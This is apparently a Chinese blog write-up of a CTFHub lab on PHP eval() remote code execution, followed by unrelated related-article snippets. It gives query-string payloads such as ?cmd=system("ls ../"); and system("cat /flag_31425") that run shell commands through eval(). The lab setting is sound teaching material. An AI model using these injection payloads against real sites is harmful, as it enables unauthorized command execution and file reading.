CTFHUB-技能树-Web题-RCE(远程代码执行)-eval执行

server/2024/10/21 19:53:17/

CTFHUB-技能树-Web题-RCE(远程代码执行)

文章目录

  • CTFHUB-技能树-Web题-RCE(远程代码执行)
        • eval执行
          • 解题方法:
            • 构造网址,查找当前目录文件
            • 并没有发现flag,接着查看上一级目录
            • 接着查看上一级
            • 接着查看上一级目录,

eval执行

题目给出代码

在这里插入图片描述

先来看看eval函数是干什么用的

eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是 非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据 。
解题方法:

结合该题出现在RCE板块,果断试一试在url里面get一下

构造网址,查找当前目录文件
?cmd=system("ls");切记输入;

在这里插入图片描述

并没有发现flag,接着查看上一级目录
?cmd=system("ls ../");

在这里插入图片描述

没有发现flag,耐心点

接着查看上一级
?cmd=system("ls ../../");

在这里插入图片描述

接着查看上一级目录,
?cmd=system("ls ../../../");
我们发现了flag_31425的存在。

在这里插入图片描述

在这里插入图片描述

此时就用?cmd=system(“cat /flag_31425”);打开目录下的flag。

在这里插入图片描述

system()函数:执行系统命令并输出执行结果。
?cmd=system("ls /");查看根目录,

http://www.ppmy.cn/server/38931.html

相关文章

基于picklerpc的pytorch单算子测试[单算子远程测试]

基于picklerpc的pytorch单算子测试[单算子远程测试] 一.服务端二.客户端 通过主流大模型测试程序-用于导出算子列表 得到了算子类型及参数信息。我希望对比每个算子在不同硬件平台上的性能和误差。如果将所有的结果都存成文件,则占用空间太大。下文演示了如何使用picklerpc 将算…

MySQL 运维篇

回顾基本语句: 数据定义语言(DDL) 这类语言用于定义和修改数据库的结构,包括创建、删除和修改数据库、 表、视图和索引等对象。 主要的语句关键字包括 CREATE 、 DROP 、 ALTER 、 RENAME 、 TRUNCATE 等。 create database 数据库 ; cr…

华为eNSP综合实验-网络地址转换

实验完成之后,在AR1的g0/0/1接口抓包,查看地址转换 实现私网pc访问公网pc 实验命令展示 SW1: vlan batch 12 #创建vlan interface e0/0/1 #进入接口配置vlan端口 port link-type access port default vlan 12 q interface e0/0/2 #进入接口配置vlan端口 port link-type ac…

【C++并发编程】(二)线程的创建、分离和连接

文章目录 (二)线程的创建、分离和链接创建线程:示例线程的分离(detach)和连接(join) (二)线程的创建、分离和链接 创建线程:示例 线程(Thread&a…

斯坦福大学的在线密码学课程

密码学是保护计算机系统信息不可或缺的工具。在本课程中,您将了解密码系统的内部工作原理,以及如何在实际应用中正确使用它们。课程首先将详细讨论当强大的对手窃听和篡改流量时,拥有共享密钥的双方如何进行安全通信。我们将研究许多已部署的…

【信息系统项目管理师知识点速记】沟通管理基础

项目沟通管理是确保及时、正确地产生、收集、分发、存储和最终处理项目信息所需的过程。它包括制定沟通策略以确保沟通对干系人行之有效,以及执行必要活动以落实沟通策略。 14.1 管理基础 14.1.1 沟通 沟通是指用各种可能的方式来发送或接收信息,包括…

Linux 和 Unix 系统转换和复制文件命令:dd

dd 命令是 Linux 和 Unix 系统中一个非常强大的命令行工具,用于转换和复制文件。它可以从指定的输入文件读取数据,进行某种处理,然后输出到指定的输出文件。由于其能够进行直接的字节级别操作,dd 命令在备份、恢复以及数据转换等任…

计算机中GPU快不行的几个标志,看下有没有你遇到的

GPU是处理图形密集型任务的主要组件。尽管它非常耐用,但它最终会磨损并开始失效。在到达生命的终结之前,它通常会显示出即将发生故障的迹象,需要及时修复或更换。本指南详细介绍了这些标志。 在我们开始之前 在深入研究GPU故障的迹象之前,重要的是要承认,下面提到的一些…